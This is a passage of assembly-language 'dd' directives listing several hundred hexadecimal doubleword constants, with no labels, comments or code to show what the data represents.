		dd 651720E1h, 30EEC4F0h, 0A8B0E3B8h, 0E2654060h, 6386011Fh
		dd 5D2F707Bh, 0CAE0118Bh, 84375C93h, 0E220F45Fh, 4FE95250h
		dd 53AE017Ch, 0E0B1E1B3h, 0AB98D930h, 4CC16E20h, 40170081h
		dd 5EF40B3Bh, 21071208h, 0F12163CFh, 6F680FEAh,	4078478Fh
		dd 10FD4632h, 0B3B1615Bh, 90ACD834h, 6C20E57Fh,	0CF8827CDh
		dd 0F8E94021h, 55E1053Eh, 488C69ECh, 9D2CFD64h,	36BF80AAh
		dd 0BE6ECE50h, 20ED5B02h, 41FE01C1h, 0D07D1FCBh, 54BD739h
		dd 0B7F7E162h, 0BFE9CF7Ch, 3C2C26F1h, 8D16F5Dh,	60FED8C1h
		dd 0C0193F6Bh, 2B7FC243h, 0FF2A7A26h, 0B3099932h, 481C9E3Ah
		dd 0ABD1C7D5h, 0C90B1A8h, 0A2122528h, 0CF846168h, 58109F7Eh
		dd 982EF30Bh, 185E54B7h, 0AB56E3E9h, 4D94BF3Ch,	9019D480h
		dd 2F78137h, 3E3B051Bh,	4850FAE9h, 2DD326EAh, 613ADDh
		dd 34245523h, 0BDC26C3Ch, 2903FF62h, 90E7C46Fh,	1EE940Eh
		dd 0C2375525h, 6943E84Bh, 11EB53C0h, 9715DE6Ch,	1EC92794h
		dd 4C8DB302h, 0D1C58C71h, 606B00BEh, 0BA2D1833h, 0B27B5909h
		dd 7082097Ah, 0AE6459E2h, 8290224h, 210AEEA9h, 140C53F0h
		dd 3C37549h, 59834CA9h,	61E9CB29h, 0C9E0635Fh, 3EFE0252h
		dd 0F29160E4h, 62119105h, 6252F63Ah, 56AF7A67h,	64C5B6CEh
		dd 0C235DDF3h, 0FC02218Fh, 96A9287Ch, 71571A82h, 8B02ADB8h
		dd 0D4BA5E5Fh, 52330626h, 0D406316Eh, 586BD9DAh, 680CF72Ch
		dd 62B318FAh, 0E3E56560h, 3EB850h, 485FD661h, 51E9D0F7h
		dd 0C7AA729Ah, 1CB6FFE3h, 7C5B0789h, 40861FDFh,	0F9F68183h
		dd 0A104E64Eh, 0E0FBBD23h, 7C5EF309h, 76BA0452h, 0C836E965h
		dd 0C77F24Dh, 64053426h, 0A9C45A17h, 33244C2h, 0DFBC824h
		dd 3A10D9C9h, 883B3E42h, 0DC928043h, 254DD653h,	1D85F6E9h
		dd 6C369D54h, 32E9CF02h, 0AF53A487h, 52160029h,	0FDB75350h
		dd 200E7C0h, 0C780D7F6h, 91FC8866h, 0E6616FF7h,	87D6F658h
		dd 0C0C6FE04h, 0DF810295h, 477928DAh, 0C7A7E909h, 0DCB09DC4h
		dd 9888009Eh, 0F381000Fh, 3A382CFDh, 797C0CC0h,	90433B2Bh
		dd 362F0950h, 0E80FE93h, 581B78BDh, 0D4D90134h,	0CA050812h
		dd 66B65610h, 0B2528BCEh, 54DD40DAh, 1233585Fh,	0D87EAE8h
		dd 5031282Dh, 0E0404B60h, 3EBBA405h, 3926F801h,	0C783BD02h
		dd 4BD3610Ah, 0A58FBEAh, 333F5158h, 77C623F5h, 60C4F62Dh
		dd 7E3AD7Ah, 344C7F09h,	9BF40000h, 0D831D4F2h, 301524E9h
		dd 5AD3834Eh, 7BD2DF01h, 45760058h, 474CAE37h, 4E5735C0h
		dd 208E9826h, 0F3F66C76h, 310E6B9Eh, 500AE9FAh,	0E3C100B2h
		dd 0FCBE5608h, 0F6245D6Bh, 5004E29h, 2F7844EBh,	50011C2Dh
		dd 0D83E3AC9h, 88F20751h, 9E08B911h, 4F86BD2Ch,	4A6EDB17h
		dd 3560C2FAh, 777CED1Bh, 1FF85FE4h, 1B79897Ch, 13A2F432h
		dd 8000D204h, 0E72894C2h, 2ED7EAD5h, 59E7B306h,	3256B5E9h
		dd 0E851B5B0h, 0CF33EB9h, 0A4B14AACh, 9312BC22h, 7A9F2C7h
		dd 711D11D4h, 10A088C5h, 0FD683459h, 14FA525Bh,	532F8E07h
		dd 7EC0D012h, 69966D45h, 0CE114160h, 0B9510028h, 62492AB6h
		dd 165534E9h, 68BA00B4h, 2EAA75F7h, 8350B374h, 5A2FEDEFh
		dd 0CF005D55h, 5B332E9Fh, 0FB092298h, 873A8FC8h, 0EF24F561h
		dd 0E84E0684h, 2B09C54Fh, 0BBBE8C46h, 533A9CFEh, 0C15874B4h
		dd 4B685C0Dh, 565B3265h, 0E90A89C5h, 5E89EC5Dh,	249F0F50h
		dd 651F3FFDh, 0E8C13020h, 0C851310Eh, 24C3D19Bh, 4B408C67h
		dd 19EB48D1h, 0AF34F204h, 4478006h, 732DE955h, 0B98CA0EDh
		dd 0F612CC74h, 6A5E5D2Ch, 85751376h, 2D208024h,	50FE0CD0h
		dd 798B5A4Eh, 0CD382016h, 68225050h, 1DB90C46h,	0A88E4B4h
		dd 0E9CFA014h, 0C714963h, 4151214Ah, 6650001Fh,	65DA3AB8h
		dd 10C72D1Ah, 86046662h, 0C26294BBh, 0C2A7BA66h, 5AD122FAh
		dd 96358764h, 66664842h, 0B469FC81h, 92728DFh, 29A93557h
		dd 19117380h, 0E1EC0C38h, 2265FA0Fh, 47A67D1Eh,	0C9D7F10Eh
		dd 76BB0F03h, 5F6DB359h, 53EFE35h, 3037BB4Eh, 8034B5EEh
		dd 0C401ED25h, 0B48F80D7h, 0B050015Bh, 0E91D0C6Dh, 12096C91h
		dd 2D08D3F7h, 22528E1h,	0C64BF296h, 660DA31h, 66800697h
		dd 958396D3h, 59258379h, 0FEBE3698h, 0C8E7483Dh, 0B706012Eh
		dd 0F101A618h, 9C64B430h, 39666923h, 6830BCDh, 170C9701h
		dd 0D1C9F057h, 0E6C56B55h, 0C627E420h, 0F66A6E66h, 3DBFD4FFh
		dd 0DCD03858h, 316FCD4Bh, 68D38432h, 5EC446Fh, 2C073CA2h
		dd 8D1859A9h, 736C34Bh,	0A764AA13h, 0E698EC4Ch,	8D465A9Ch
		dd 4D565C0Bh, 0C6720D6Ch, 0CE29581Dh, 248BF152h, 311EC100h
		dd 0D0E97563h, 5E7B3E9Ah, 0CCFFECB0h, 0B71E22B1h, 4F5ED16Ah
		dd 1089EF40h, 64295F31h, 82E906FDh, 0F4D4D9F6h,	5C22FC73h
		dd 0C852E07Ch, 9C7CE961h, 0D2F70124h, 0D406E2C1h, 0EA0381DAh
		dd 60486B39h, 12A7E09h,	283502E0h, 253EA6CAh, 9A1600A7h
		dd 5413607Ch, 6BB2D329h, 150D14Bh, 0A1207CFDh, 723E5455h
		dd 0FE81A98h, 0D673C380h, 9A0BEB3Dh, 82164331h,	5472C61h
		dd 0C636C029h, 5102733Eh, 0F7895F20h, 5519405Eh, 0D15B2CC5h
		dd 0FE4888FFh, 94E63B3Ch, 0C9FB6928h, 85492F5Fh, 8D2273CFh
		dd 46D25CF5h, 59259FBFh, 0FCBEEC21h, 0A02E583Ah, 986DCE80h
		dd 0EE4001ACh, 31CBC7A0h, 72DC72D6h, 3907A76h, 76562F02h
		dd 8912290Bh, 35724003h, 77BE4D6h, 273F057Ah, 0C3299261h
		dd 0DE3E5F60h, 435D7E82h, 0BB1C49D9h, 81E8D789h, 2F10AD03h
		dd 2EFC177h, 69EEF770h,	81D41842h, 53148709h, 3919AF7Ch
		dd 5364A468h, 84525D64h
		dd 4546E8A3h, 0C98130E0h, 0EA63362Ch, 0A425AF39h, 0AA83023Fh
		dd 0B9AF0FB8h, 0F7870E95h, 9949F7D9h, 7C748B83h, 0EEE90A0Ch
		dd 634F153Ah, 161D0B11h, 6CC829F9h, 854327E6h, 0C7A568B1h
		dd 995CC1E8h, 6B834715h, 87AD51Ah, 5438255Dh, 527A515Dh
		dd 0DD1DB94Ah, 4DA888Fh, 4091341Ch, 0CCCC70C4h,	6FECEC07h
		dd 0CD8128Eh, 0E65C8861h, 7D505068h, 58F32824h,	0F9E98C3Ah
		dd 4B0964D6h, 0E59C5CF1h, 0C0CE867h, 1F5BB71h, 6A883EDAh
		dd 501C6F21h, 44E950B0h, 586E155Dh, 72F4072Fh, 29C44CF0h
		dd 0C4F617E0h, 0A9D93CB6h, 12E60EE3h, 89564FFAh, 6480C2CBh
		dd 9A0CECAEh, 0B77F20FAh, 8A78D389h, 0B4DE890Fh, 0F3FAE709h
		dd 0BF0D295Eh, 0B94E2298h, 6204ACC2h, 0CA010B34h, 81804C4h
		dd 0F848EC1Ch, 5C0CC042h, 596CC958h, 0E9949097h, 31105FC3h
		dd 23543Fh, 0EE12C2BEh,	0BD550039h, 29271049h, 1798DDF7h
		dd 0A18B710Ah, 5D078256h, 0DA27D687h, 0F808DBF6h, 34DC9052h
		dd 0B3C4B9D1h, 0E3E9A142h, 0B901C928h, 53904DC7h, 4902ECC1h
		dd 2E045190h, 89B8BCEAh, 0C20D4880h, 15AA004Dh,	7E3A4005h
		dd 0D5043554h, 9BE8FFBh, 4BEFFC6h, 77081FAFh, 5E958045h
		dd 78E72EE1h, 0E9C2624Ch, 645C7466h, 6F139C59h,	4F8E274Ah
		dd 644C207Eh, 0FBBC5C66h, 0EB28CBF0h, 0FD4A8758h, 0DFF7A904h
		dd 40018A82h, 138D9593h, 931EEDBh, 88A6EB8Fh, 0D50B5C5Eh
		dd 0E0509F61h, 4B650BB1h, 78160F15h, 4820A2D3h,	1A6D849Bh
		dd 0F56DA412h, 5D164C9Eh, 0F05F6B0h, 71527CDBh,	1D2DC805h
		dd 0FEC95F07h, 0C72562D8h, 0D5E3A42h, 0B2F18069h, 90399E2Fh
		dd 0A5CA0421h, 8313D02Ah, 0CFE88327h, 0C026E937h, 0C896B33Bh
		dd 0A0A6608h, 2BED301h,	0D4F02F3h, 8FFD060h, 0C41FEE28h
		dd 3C42E914h, 718DD3BAh, 5600D54Bh, 0BB535E54h,	0FB124430h
		dd 0CEC04B6Ch, 6204F381h, 0DE01162Fh, 0F109E8F9h, 88E1D13Ah
		dd 5BBF0760h, 0D7C5ECD4h, 0FF1FF8B9h, 0C71F5231h, 4D8E015h
		dd 0B73A530Ch, 8213BB59h, 0E9F62C66h, 0BC3DD858h, 4BF06AB3h
		dd 203E4F59h, 6C293FB5h, 95D0817h, 0C55347D2h, 0E10EE90Bh
		dd 0B4315C52h, 703F22F3h, 482D5802h, 5654BC67h,	3584529Eh
		dd 8D1AC8C3h, 9398E692h, 9527EEh, 2832B878h, 35651C01h
		dd 3B2D0F22h, 607013EBh, 0BAC28B91h, 0B3BFB3Ah,	11DAE2B9h
		dd 9837DB20h, 871309A1h, 0E7F8593Fh, 205F8913h,	88E981C1h
		dd 0CABB00F6h, 0F34F416h, 180A829h, 610E7564h, 5A070C1Ah
		dd 4CA2BEC4h, 9959306Dh, 182DFFE8h, 507F0925h, 559B3391h
		dd 5EE1653Ch, 68C2CCA8h, 919A46B8h, 9C60F880h, 567F5219h
		dd 0EA753E1Dh, 0E68180BDh, 541371FBh, 88E3B851h, 0F5606889h
		dd 0BDFD242Ah, 6D68C283h, 4B45AA51h, 48C9A51Fh,	0E2818A52h
		dd 1082823Ah, 82DD89ADh, 6BD00C9Ah, 59523C03h, 0BF251E99h
		dd 24FC714Ah, 650258D2h, 0D3317986h, 0CA0415Ah,	9077B420h
		dd 0D9265398h, 0B45F2E78h, 18096F0Fh, 2B14A569h, 7CACF775h
		dd 1937B9A4h, 2C114879h, 0C1800E29h, 10E912E8h,	0C077FE48h
		dd 2FC9B951h, 0A54E48B4h, 187C8E12h, 0B3370C8Fh, 1A2FAF48h
		dd 78572776h, 99925460h, 0FEB60752h, 9708E6C0h,	0EE036EB5h
		dd 41CB8059h, 0FFD7C69Bh, 40CF43Fh, 0C93DB2CBh,	366ADC28h
		dd 81DF0FC0h, 24192CEFh, 4AFB69AFh, 0C505E364h,	0CA31BA24h
		dd 0C2F43316h, 0CC3E4E91h, 3040F9AFh, 8145004Dh, 5A5C9ACDh
		dd 68055014h, 4C572A1Bh, 783AFCC2h, 32029EC8h, 0D1041D8Eh
		dd 0EA1CC4C2h, 0C61F5008h, 0A9F70506h, 0E5397C03h, 8ECCE997h
		dd 2EB2627h, 7264055Fh,	0D735C1DEh, 13560506h, 1BC444B0h
		dd 3AB084EFh, 0DD87D906h, 0A208D3F7h, 0AC1448F3h, 2C3F1C04h
		dd 3A5D267Dh, 0C3B35300h, 0F608EBC0h, 0B04D36Ah, 464B0211h
		dd 7CCC8865h, 0BB48CF60h, 2C087AFCh, 41432Dh, 0F0F33E9Fh
		dd 0E917D929h, 0EF351B87h, 0A4A471ECh, 0F0415AFFh, 1414CA60h
		dd 0D2C0B60Fh, 0DE688705h, 12D0497Bh, 8E5CB925h, 0DE6D17ADh
		dd 6A52A920h, 973E1C02h, 0E6258147h, 0D43FBB39h, 9005349Eh
		dd 0E3A3E91Ah, 0FDEB37D0h, 42833077h, 6463D20Ch, 0B9B67C50h
		dd 0F61603E0h, 15B4DF29h, 0D3E24E9h, 2EA8979h, 7780C709h
		dd 2CE23299h, 20B50CC0h, 904A1DBCh, 76BEEECAh, 0EA2924F8h
		dd 2C60271Fh, 89395052h, 4EE448E8h, 0D2D9661Fh,	0A7325C97h
		dd 42F2D326h, 0BA00B27Eh, 0B2B4090h, 5AD5892Dh,	494B180h
		dd 0E9B80A3Dh, 4B3407F0h, 13847021h, 1E5D080Ch,	60B8E25Eh
		dd 7E8A0C13h, 570034F5h, 8477EEBFh, 92D7F762h, 15C70244h
		dd 29A2EBD4h, 3D1AC2FCh, 4CC26C83h, 8D8FA55Ah, 0BDE91770h
		dd 76755153h, 0A184A057h, 138D68ECh, 0C9EEFD55h, 0FD2BE4F0h
		dd 0E1187A92h, 0D99E5002h, 20C83F47h, 822015AEh, 3D8C6851h
		dd 0A6F6454h, 53CB50BAh, 671627C5h, 0AB9AE942h,	68617C73h
		dd 0B33752Dh, 0AF91C94Eh, 0FB87090Eh, 4CE942FEh, 29592248h
		dd 0C3ABBDC4h, 1C000312h, 0C3F6E54Dh, 0C0DFCE9h, 43103A9Dh
		dd 4CF98402h, 0EBC2D85Ah, 2D120195h, 50DE83ABh,	1CBB0388h
		dd 0C10178B0h, 4BD833BAh, 702689BDh, 17681545h,	0B7786C7Dh
		dd 2B35CC11h, 0E8B12604h, 5008D580h, 0CE176B4h,	0DCF693F4h
		dd 0C058510Ah, 89E67B26h, 5870E3E0h, 0EB30CB7Eh, 59080684h
		dd 0B2520966h, 0D48728BFh, 310B989Ah, 3F3511D1h, 0AABBC387h
		dd 0A22AD745h, 18575FFEh, 95D4DC09h, 680FCD64h,	0D72F6476h
		dd 2D2BA08h, 0BF1C942Dh, 28C18741h, 2214CF0h, 0F4E93FF7h
		dd 0E1E7264h, 0E288521Ah, 0C504D749h, 0D294A020h, 0BE08C091h
		dd 10B125B0h, 763009C6h, 42640329h, 0E9D1F71Bh,	5A171B8Eh
		dd 518B3C8Bh, 30480642h, 225AFB89h, 4807EA07h, 0F2607DDBh
		dd 67E727h, 0DBE56DAh, 0E97AE27Bh, 96CA4A34h, 0A0087CF5h
		dd 86C148A9h, 0A15659C5h, 93EF3393h, 269F4F04h,	3203E017h
		dd 527C0EE8h, 0A238C825h, 0DE6C6D59h, 7602911Bh, 37924DC0h
		dd 0D05A71AEh, 5B0107B8h, 0A1E9D729h, 64855721h, 4356E1DAh
		dd 0A085EA01h, 0E55B736Bh, 10B8B235h, 9F34B4A5h, 29641D5Fh
		dd 956405DCh, 3CC2B5A0h, 0F5B05623h, 1978E206h,	0CA07279h
		dd 0F540DC37h, 17184224h, 6F186618h, 0E2EF2744h, 2B515BC1h
		dd 62F8F89h, 5D548CE3h,	9B12D4FAh, 200E4BDh, 6613D6Ah
		dd 51CE7E01h, 82508EEh,	7965CCA5h, 203DC4A5h, 681815EDh
		dd 0ECC96D97h, 81BB801Ch, 6E8B5F0Bh, 174B004Bh,	5E56E703h
		dd 4A110B89h, 0FE2825A1h, 0ACD4E766h, 0D6F61F19h, 0AA60B0C9h
		dd 52805935h, 9579CBAh,	956B04Ch, 46AC5510h, 25683100h
		dd 109025Dh, 81565AD6h,	7E711DB2h, 6F4361D6h, 1E6D4775h
		dd 68C80F03h, 0B31722E2h, 0DC27447Bh, 22D389EBh, 4D5B853h
		dd 8218AC33h, 591DD768h, 224AA4Eh, 60031906h, 0CF4965E9h
		dd 26D8602Ch, 8F265C5Ch, 0E27FEB02h, 42D4D11Ch,	6C54C201h
		dd 0A6A07952h, 21AB1242h, 2BAED2ECh, 486E248Ch,	9380E823h
		dd 2119FB0Dh, 9859CA28h, 3C077C17h, 112E2980h, 4127C18h
		dd 0F141A4F7h, 2D09AC3Ah, 510C895Ah, 0D1C0A57Bh, 0B63070D1h
		dd 350B5E10h, 0A4634A60h, 5912ED5Ch, 80B367Eh, 5475C62Ah
		dd 9BBBD99h, 36886645h,	17D67A00h, 0CCF07DDh, 0C19A25E9h
		dd 36127AEDh, 7219F4B9h, 0AE5EC840h, 1C099594h,	0B0FB850Bh
		dd 8497273Dh, 77B85B44h
		dd 11F068C2h, 66790FC6h, 4B44142Dh, 5B99B91Ah, 8683373Fh
		dd 14C87BDh, 467248ACh,	0C8BE17C3h, 0E909D0A3h,	0F3744156h
		dd 84B3C289h, 0DCCF14Dh, 54513258h, 551590Dh, 0FAA6841h
		dd 0D4260B76h, 54528961h, 81199362h, 2E4802EAh,	0B9ADCCA4h
		dd 5F73F3Ch, 0CF0129A3h, 811CB84h, 0B2562889h, 841345Bh
		dd 0B4124C99h, 35386BEDh, 88B0994Eh, 52663DFh, 7A0ED80h
		dd 0C23064A0h, 80561807h, 510B0265h, 6200D9FAh,	0AC03646Eh
		dd 0DB461752h, 0B5B1201Bh, 8839505Eh, 58C612E8h, 0E89268A9h
		dd 0B72C039Bh, 2FE4FE9h, 1F9EC2EFh, 0F341EBBEh,	0B22E406Ah
		dd 0D19828E1h, 1AFCD8E6h, 30DA03BDh, 7C37BAEEh,	947025E1h
		dd 40698795h, 5A7A6572h, 2A8341B2h, 5BB1242Ch, 0C25A34BFh
		dd 90159BAh, 63701C47h,	0AFD7BC38h, 0C40C13E5h,	90C61543h
		dd 3139581Ch, 0C426C89h, 0EFF66B40h, 2D862113h,	0D91DCC00h
		dd 172924B9h, 0E15A5EF1h, 2AFC65DCh, 3DF36865h,	0F34ADB4Ch
		dd 44CE48D9h, 9BEC539Dh, 0D3CC105Ah, 54D92C68h,	4D26E51h
		dd 14EB26C8h, 0D4445B56h, 0C8C0D3F7h, 9532E958h, 56F18FE0h
		dd 41B041E0h, 4082CD0h,	5BD9895Ah, 0D2E04BBh, 0CB051211h
		dd 61F5CA3h, 0F7261390h, 2F421DFEh, 0F4B08D64h,	0B0578E7h
		dd 8557D029h, 0E157F0A9h, 0D1F37EC3h, 0F474E779h, 2E042573h
		dd 2B5D9570h, 305C0BC8h, 81CC52D0h, 18ACD7BCh, 11ABC6Eh
		dd 0FC4310B1h, 0B4CFF596h, 7828C95Fh, 0B06813D6h, 0B124336Ah
		dd 0FCE14A10h, 72E05C7Ah, 0D65F0A00h, 0D4E6813Ch, 4F406314h
		dd 0C84D06E2h, 9188FFAh, 65AF44B4h, 8239E756h, 0DE3161ADh
		dd 1D74C85Bh, 0B029FEA5h, 4E30C168h, 0D9113674h, 735CEACEh
		dd 7CD25430h, 1601EC2Eh, 415BE9F0h, 0C1D5F709h,	0C5B130EDh
		dd 8C882401h, 0DF8DE933h, 0D0645D26h, 0E9E08C50h, 22B6C331h
		dd 8760CFFEh, 0CE800083h, 5EEC060h, 0B36740E9h,	3E629620h
		dd 0B431E43Ch, 246A0682h, 3A4A8870h, 542F9FCAh,	0D49C5AE6h
		dd 4965645Ah, 0B403D028h, 17EA8060h, 0B6D10628h, 3E9AC945h
		dd 1DD24756h, 41D8E927h, 2A2F53AFh, 30C65077h, 0BE30AB61h
		dd 58347274h, 6EAE0AF6h, 2B10561h, 0CC732E1h, 1BAA97E0h
		dd 0E94C4909h, 0AD606341h, 2E8DC985h, 0B5F809F4h, 1B1AD1A0h
		dd 0B69078EAh, 0A05D4540h, 70733B95h, 8FEEF5A1h, 7A15C0D1h
		dd 2EDDF706h, 818C6AE9h, 74D2F005h, 385721A3h, 0D7307F22h
		dd 71F261AAh, 6DE62EE0h, 42ACACFBh, 0F701CE21h,	0F97041D9h
		dd 2E55E6EBh, 2C0789AAh, 0A3688493h, 9A30AB11h,	363BFh
		dd 5D0F753h, 8AEFA285h,	682F4096h, 253EC5A0h, 0D5F037ECh
		dd 9624AA20h, 4B85E992h, 4A1EB255h, 44BAC724h, 0BD1AAAF7h
		dd 0E5C1C27Bh, 0F5898303h, 448A8061h, 5DEE2689h, 18003A88h
		dd 0E971D307h, 15BDC5ABh, 985C97CBh, 0F4BA9C42h, 48EF6815h
		dd 93BD0350h, 253C826h,	0F01FB77Ch, 0FC0316Fh, 1914AC05h
		dd 0C52668D7h, 0BEEDCB8Eh, 70CEA841h, 69B394A5h, 0EF950046h
		dd 53E90573h, 0D9E7D9B4h, 30A169C3h, 81030607h,	108417F3h
		dd 0C84DA011h, 6981A14h, 70DC89FDh, 0E2860F83h,	4D29D4F6h
		dd 39B84F60h, 1E80551Eh, 20DB4489h, 511AE221h, 7759006h
		dd 8716C9F2h, 0B0CAC702h, 8340AB0Ah, 1E01C230h,	5CAF0FD8h
		dd 22E6C46h, 4E61C4F2h,	13B2F38Bh, 4886CFD7h, 0BC202DD9h
		dd 0E31797DDh, 5104A523h, 0DFAC74E9h, 240AB900h, 0CB29707Bh
		dd 40526A96h, 0F61BA80Ah, 0A2017636h, 17080AAAh, 786CAE15h
		dd 6601765Eh, 5A59EB88h, 14B450C8h, 0F2E330DFh,	0F456EB9h
		dd 67B194E9h, 67622C66h, 0F0522166h, 0B0A8E220h, 28952094h
		dd 501942DEh, 0F217D220h, 674C13CBh, 625F0C0Bh,	69040A50h
		dd 636ADD01h, 5D705769h, 1BE33E2Fh, 42E1007Fh, 0B8507080h
		dd 0ED483315h, 18E600A2h, 4EE911FBh, 36E99742h,	9170C0E3h
		dd 7F27757Ch, 97A5662Ah, 8F4CB743h, 64D82C9Bh, 2E5C983Ch
		dd 58B96841h, 56CF355Fh, 2152A120h, 0EF905E74h,	8209E709h
		dd 0E4AE7833h, 58E913D7h, 30132902h, 0BB80FED5h, 7A08775Dh
		dd 0C4074A22h, 10BDB86Eh, 0B24A4B3Dh, 0A83C10C7h, 7F79E6D6h
		dd 7A841E5Ah, 8EAAD21h,	0B7D81434h, 95383A5h, 1070D52Ah
		dd 79A1CD07h, 6FFA15C4h, 8A8970A4h, 2F2552DAh, 69905E70h
		dd 22730B0Dh, 0AE26207Dh, 0B7EE5C24h, 284D72E2h, 668D0330h
		dd 637985BBh, 0FB0BBF4Ah, 0DCFC000Dh, 73E8C162h, 4E02D05h
		dd 0D8925463h, 38B12EE0h, 7104E27h, 3F7111C1h, 0D145316Ah
		dd 350345A8h, 0C6012DACh, 0B082AC7h, 16AF1FE9h,	0B889F2ABh
		dd 80B116A4h, 0C0E0E119h, 0C1EC03E6h, 5406EE6Ah, 0BD3E8828h
		dd 5816F628h, 0C443D504h, 4AA7A6E9h, 7A55E24Eh,	63C02376h
		dd 0AD055FF8h, 1C702520h, 875E1C94h, 0B072558Dh, 0B9515B07h
		dd 3EE242C7h, 7F59F241h, 0BBD3628h, 53802637h, 1683BE00h
		dd 5B556BCh, 8E82013Fh,	550B8AC3h, 60112108h, 996E57BFh
		dd 18D07A5Fh, 0FA5696EBh, 9EE97509h, 6A311A22h,	0F79F1471h
		dd 0EA0B82E4h, 41599AC0h, 11A7DE7Ah, 0E8D8E2E1h, 0B980497Ah
		dd 521B00EEh, 0E411BF7Bh, 314B84ADh, 9DFB4EE0h,	5F290998h
		dd 5B9615BCh, 0E913DCCAh, 7BFBF18Ch, 0EB9B7B62h, 51EFD8F8h
		dd 4F23B40h, 49D0C72Ch,	0C0CE0B07h, 22E94E9Eh, 36992460h
		dd 3E4B5137h, 800C141h,	3F6AF181h, 8950343Ch, 0DB7EF7BCh
		dd 0E907E31Eh, 28A57066h, 0D81A7E7Ah, 4202EA19h, 1F1FDA25h
		dd 7F845F5h, 0D4E8217Eh, 2635E82Bh, 0E383CC29h,	0B77A305Fh
		dd 184DC08Ah, 0CA1CF09h, 232435F4h, 0F8188F0Bh,	44EA63Ch
		dd 0B151076Ch, 21C1FE1Fh, 0FCF180C9h, 45EBD1F6h, 0B3E182D7h
		dd 0C943B603h, 707FC514h, 24C33566h, 4C438827h,	52032058h
		dd 0AB805F90h, 540A12C5h, 0B4E7C176h, 0B7F4013Eh, 0FD016F35h
		dd 0EB410F72h, 0E12FE10Eh, 80F32BC9h, 5C225ED2h, 13BE2DAAh
		dd 842E6A67h, 807135Dh,	4E33FE7Ch, 718494CDh, 2917E7B3h
		dd 410A13FBh, 0BF684BBBh, 2C5C3637h, 5D932550h,	57A21F00h
		dd 80437180h, 470609EFh, 0A9CFE97Bh, 4D90EA68h,	0A704C6A5h
		dd 0C14FB940h, 0A7A2EB35h, 15EB220Fh, 354829B4h, 0ACA5E296h
		dd 41C66804h, 253735BAh, 0DD58005Dh, 0E972427Ah, 9D588620h
		dd 0ABF85C66h, 44B1A9Ch, 0D2BCAF03h, 31B78C4Bh,	52B6D254h
		dd 3A1EBA04h, 0AF094C2Fh, 549ECB2Ch, 13E1CBABh,	26B911Ch
		dd 0C9EA844Eh, 4A9E2DE6h, 58833828h, 752D2EEBh,	7B456209h
		dd 0B796AA7h, 0C6B1D182h, 54250BFBh, 0C67955Bh,	0F7C7B09Eh
		dd 0B158C597h, 6C8FE9ADh, 3DD94F61h, 0D69062h, 681B0A0Ch
		dd 0E92A4043h, 0E0B2BCF4h, 5E55560Bh, 2F890F5Dh, 9F56DEEh
		dd 0C8F51EACh, 0C7E94292h, 5B1E1650h, 0FD12D001h, 605A8CC2h
		dd 2E464FE5h, 103D5897h, 76AC2C61h, 42AC1E26h, 0D2625C0Fh
		dd 0BC02D3B8h, 55A28FC0h, 4CA72D61h, 3DE58BB3h,	10E84CDBh
		dd 582C27AAh, 0DEE8174h, 0E521A451h, 7B04DD83h,	77ADE865h
		dd 0B8D8DE27h, 8FA9C8F2h, 92C54B53h, 0A49CE8h, 43330BA5h
		dd 8D4FE960h, 66683602h, 2FC2597Ah, 0C78564E8h,	0E864DE99h
		dd 5C5AA292h, 3BA73C35h, 0E35D880h, 45A7562h, 1BD406C7h
		dd 3EBEC0B0h, 3B2E2B5Bh, 3C5D4276h, 61818604h, 0B8EC2FEh
		dd 0B1C2805Ah, 0F405D2F6h, 0C9AC5DC2h, 39DCC7D1h, 20CAA429h
		dd 495E24Bh, 7AE47986h
		dd 2DF707E6h, 0C3500B6Ch, 187AF9C1h, 3D99D249h,	20ED2C5Dh
		dd 710F501h, 1E6A6415h,	1299AA49h, 12ADC680h, 5286F801h
		dd 44AAD44Bh, 32E66485h, 0A34E6998h, 64B5128Ch,	82EEB9E7h
		dd 0B7463B5Bh, 0AB2D5E79h, 0C080A030h, 5B51FE32h, 3BAA0489h
		dd 802909C6h, 7F5852AEh, 1B68142Eh, 0DEE836h, 61FF160Eh
		dd 0E34ED15Bh, 0EBF0F5C5h, 7EF000B8h, 360D7467h, 5F7FE14Fh
		dd 702A5B28h, 0CE750670h, 5979EE75h, 0ECCB5ECh,	0C0A20617h
		dd 0F028D724h, 54F77DE9h, 3B872D5Fh, 0B48B3AD8h, 89951DEAh
		dd 4CFBAB32h, 0CB7A6Ah,	942CAB8Dh, 7B99A338h, 0BCA4ECADh
		dd 0C933174Bh, 0F6F2ED44h, 0BDEA117Dh, 252266E0h, 8E054517h
		dd 34CC81F5h, 0BE622014h, 16253A16h, 28062A02h,	0B8DE0B7h
		dd 5AC683CCh, 0E2818A73h, 0F74AAF6Ch, 0E3D3C5B8h, 0DA90E992h
		dd 472530C4h, 71AFBDB9h, 814C4D00h, 0C607FCDh, 17E91033h
		dd 78802CD1h, 0E7280D0Ah, 0ED54EE3Bh, 1E300E8Ah, 895541BEh
		dd 484236A8h, 0FE08B537h, 0B4F44FD9h, 0DC0656Fh, 1262C181h
		dd 102180Dh, 8FE1CCBh, 0C09E94BFh, 4059BAE8h, 82972CB2h
		dd 0F895E9C7h, 626813DFh, 58CF2C63h, 74C9A7B4h,	2CA542A5h
		dd 0ABE95B5Eh, 520300E8h, 0F25B5553h, 0DB14BFDAh, 2ABD10F6h
		dd 0D0087F46h, 376816CAh, 0EF13E81Ah, 57004A53h, 47197AC3h
		dd 254B7D2Bh, 5FEEE4DDh, 5F4C6FF6h, 0B583A390h,	165C2AF4h
		dd 0A0C73148h, 344B540Eh, 0E560F577h, 717F5528h, 94467468h
		dd 53DE60CBh, 31241BB8h, 5009B0FDh, 1A02B0ADh, 0D84282E5h
		dd 37249EF3h, 3E18BE08h, 7304CDCCh, 0FE363151h,	0A7E91F45h
		dd 0D72C7590h, 2C11740Ch, 24FD888Ah, 0CE341C8Eh, 0E9C702C1h
		dd 0C1D10412h, 3DBE777h, 455ED881h, 5F7D1702h, 6F5EA751h
		dd 1864F62Ah, 4F5D21AFh, 0DBC051A6h, 7312A3Ch, 300705B3h
		dd 59E8667Bh, 81BC8BB5h, 0DFF758DDh, 544CCC83h,	0BFF33D3Bh
		dd 264DE550h, 7625906h,	82A0D101h, 652A8308h, 7522FB5Ah
		dd 0D93AED1Ch, 38816A9Ch, 0C0043A82h, 0C53418D3h, 1ABF2D18h
		dd 91CF290Bh, 31E10CC2h, 0F6D65C3Bh, 0A07DFF04h, 5DE032BAh
		dd 99C9B174h, 2B9F68D5h, 1512C5B8h, 70DE0123h, 30490308h
		dd 669D3C3Ah, 2C68FEBEh, 920C62DEh, 0C541F4AEh,	0A24F430Ah
		dd 0E2288A60h, 96BFC1Fh, 131E5818h, 0F50151C0h,	9C6A4AE1h
